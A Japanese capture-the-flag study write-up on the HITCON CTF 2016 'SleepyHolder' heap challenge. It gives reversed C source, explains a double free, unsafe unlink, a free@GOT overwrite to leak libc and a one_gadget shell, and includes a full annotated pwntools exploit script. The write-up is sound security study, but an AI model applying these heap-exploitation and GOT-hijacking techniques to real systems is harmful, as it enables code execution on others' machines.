Heap exploitation HITCON CTF 2016: SleepyHolder
Heap exploitationのお勉強、HITCON2016 SleepyHolderを解いたのでそのメモ。
問題
shellphishの方のリンクはヒントも載っている上にlibcがないので見ない方がいいかも。
SleepyHolderというプログラムとlibcが降ってくる。
解析
リバースしたソースコードはこんな感じ。
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <stdint.h> #include <string.h> void keep(); void wipe(); void renew(); int main(int argc, char** argv){ // setvbuf // put Waking holder int rand_fd = open("/dev/urandom", 0); int rand_num; read(rand_fd, &rand_num, sizeof(int)); // size 4 rand_num &= 0xfff; malloc(rand_num); sleep(3); // puts, have secret? // puts, help while(1) { // 1 keep secret // 2 wipe secret // 3 renew secret int input_num; char buf[4]; memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); input_num = atoi(buf); switch(input_num) { case 1: keep(); break; case 2: wipe(); break; case 3: renew(); break; default: break; } } return 0; } char* big_secret; // c0 char* huge_secret; // c8 char* small_secret; // d0 int big_flg; // d8 int huge_lock; // dc int small_flg; // e0 void keep() { // 1. small secret // 2. big secret if(huge_lock == 0) { // 3. keep huge and lock } char buf[4]; memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); int input_num = atoi(buf); switch(input_num) { case 1: if(small_flg == 0) { small_secret = calloc(1, 0x28); small_flg = 1; // puts, tell secret read(0, small_secret, 0x28); } break; case 2: if(big_flg == 0) { big_secret = calloc(1, 0xfa0); big_flg = 1; // puts, tell secret read(0, big_secret, 0xfa0); } break; case 3: if(huge_lock == 0) { huge_secret = calloc(1, 0x61a80); // huge huge_lock = 1; // puts, tell secret read(0, huge_secret, 0x61a80); } break; default: break; } } void wipe() { // puts, which wipe // 1. small // 2. big char buf[4]; memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); int input_num = atoi(buf); switch(input_num) { case 1: free(small_secret); small_flg = 0; break; case 2: free(big_secret); big_flg = 0; break; default: break; } } void renew() { // puts, which renew? // 1. small: 0x28, fastbin? // 2. big: 0xfa0, largebin? char buf[4]; memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); int input_num = atoi(buf); switch(input_num) { case 1: if(small_flg != 0) { // puts, tell read(0, small_secret, 0x28); } break; case 2: if(big_flg != 0) { // puts, tell read(0, big_secret, 0xfa0); } break; default: break; } }
freeするときにチェックがないことから、double freeができそうというのが分かる。
shellphishの方を見てると、巨大な領域を確保することから連続してfastbinをdouble freeすることも分かる。
それ以上は分からなかった。
ここでもうwriteupを見て、exploitを解析しながら解いた。
unsafe unlinkも同時に使うらしい。
unsafe unlinkはkatagaitai勉強会の第1回目のスライドを参考にした。
exploit
手順としては、まず巨大な領域のmallocを利用してdouble freeをしたあと、偽のチャンクヘッダを作成してからunlinkして、unsafe unlinkを成立させる。
unsafe unlinkによってグローバル領域にあるsmall_secretにはsmall_secret+0x18の値が格納される。
次に、small_secret+0x18に書き込みをしてグローバル変数を改ざんする。
big_secretにfree@GOTを格納することで、freeの呼び出しをputsの呼び出しにする。
これでputs@PLTを出力してlibcベースを特定し、そこからoneshot gadgetでsystemを起動できるアドレスを取得する。
次に、small_secretのアドレスをまた書き換えてputs@GOTにし、そこにoneshot gadgetを設定する。
これで次のputsの呼び出しでシェルが起動できる。
exploitはこんな感じ、ほとんどwriteupの方のコピーで動作のメモをしただけ。
タイミングの問題か、引数でDEBUGを指定しないとうまく動いてくれない。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='amd64') exe = './SleepyHolder' libc = './libc.so.6_375198810bb39e6593a968fcbcf6556789026743' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote( '', ) else: return process([exe] + argv, env={'LD_PRELOAD': libc}, *a, **kw) # # gdb # gdbscript = ''' # continue # '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() elf = ELF(exe) libc = ELF(libc) io.recvuntil("Hey! Do you have any secret?") def keep(size_idx, payload): io.sendlineafter('3. Renew secret\n', '1') io.sendline(str(size_idx)) io.sendafter('Tell me your secret: ', payload) def wipe(size_idx): io.sendlineafter('3. Renew secret\n', '2') io.sendlineafter('2. Big secret\n', str(size_idx)) def renew(size_idx, payload): io.sendlineafter('3. Renew secret\n', '3') io.sendline(str(size_idx)) io.sendafter('Tell me your secret: ', payload) def unlink(small_ptr): # small_secretに格納されているアドレスを、unsafe unlinkで自身の上位にある領域のアドレスにする keep(1, "AAAA") # small_secret, fastbin keep(2, "AAAA") # big_secret, large bin wipe(1) keep(3, "AAAA") # 巨大な領域を確保すると、fastbinsに繋がれているチャンクがunsortedbinに移される wipe(1) # unsortedbinに移ったため、fastbinでのチェックがなくなるためdouble-freeできる # 偽のfreeチャンクのヘッダを作る # 0はprev_size、0x21はサイズになる。1はPREV_INUSEのフラグで、unlinkさせないためにセット payload = p64(0) + p64(0x21) # 偽のfd、0x18はunlinkでのp->fd->bk == pのチェックを回避するため(bkは0x18分下の位置) payload += p64(small_ptr - 0x18) # 偽のbk、0x10はp->BK->FD == pのチェックを回避するため(fdは0x10分したの位置) payload += p64(small_ptr - 0x10) payload += p64(0x20) # 偽のprev_size、チェックがあるので整合を保つ keep(1, payload) wipe(2) # unsafe unlink # fastbinを格納しているアドレスが格納されているグローバル領域をunlinkで書き換えられた # 具体的には自身より-0x18の位置(bk)を指している # グローバル変数のレイアウト # char* big_secret; // c0 # char* huge_secret; // c8 # char* small_secret; // d0 # int big_flg; // d8 # int huge_lock; // dc # int small_flg; // e0 # small_secretへの書き込みで、big_secretなどの値を書き換えられる def leak(big_ptr): # small_secretが指す領域を書き換えて、グローバル変数が指す値を改ざんする payload = "A" * 8 # small_secret - 0x18への書き込み、何もないのでパディング payload += p64(elf.got['free']) # big_secretへの書き込み、free@GOTを指すようにする payload += "A" * 8 # huge_secretはもう使わないので適当に埋める payload += p64(big_ptr) # small_secretはbig_secretを指しっぱなしにする payload += p32(1) # big_flagを1に、mallocで確保されていることにする # これで、GOTのfreeのアドレスを書き換えて好きな関数を呼び出せるようになる # unlinkでsmall_secretが書き換えられたので、renewではbig_secretへと書き込まれる renew(1, payload) renew(2, p64(elf.plt['puts'])) # free@GOT -> puts@PLT renew(1, p64(elf.got['puts'])) wipe(2) # free@GOTにputs@PLTが書き込まれているので、putsが呼び出される # 引数はbig_secretなので、renew(2, )で書き込まれたputs@PLTが出力される # libc内の関数のアドレスが分かったので、オフセットからlibcベースが分かる puts_addr = u64(io.recvline()[:6] + "\x00\x00") libc_base = puts_addr - libc.symbols['puts'] one_gadget = libc_base + 0x4525a # one_gadgetを使ってsystemを起動できるアドレスを探す log.info("libc base: 0x%x" % libc_base) log.info("one_gadget address: 0x%x" % one_gadget) return one_gadget def pwn(one_gadget): payload = "A" * 0x10 # padding payload += p64(elf.got['puts']) # small_secretにputs@GOTをセット renew(1, payload) renew(1, p64(one_gadget)) # putsでone_gadgetが呼び出せるように small_ptr = 0x006020d0 big_ptr = 0x006020c0 log.info('Unsafe unlink') unlink(small_ptr) log.info('Leak libc') one_gadget = leak(big_ptr) log.info('PWN!') pwn(one_gadget) io.interactive()
学んだこと
unsafe unlink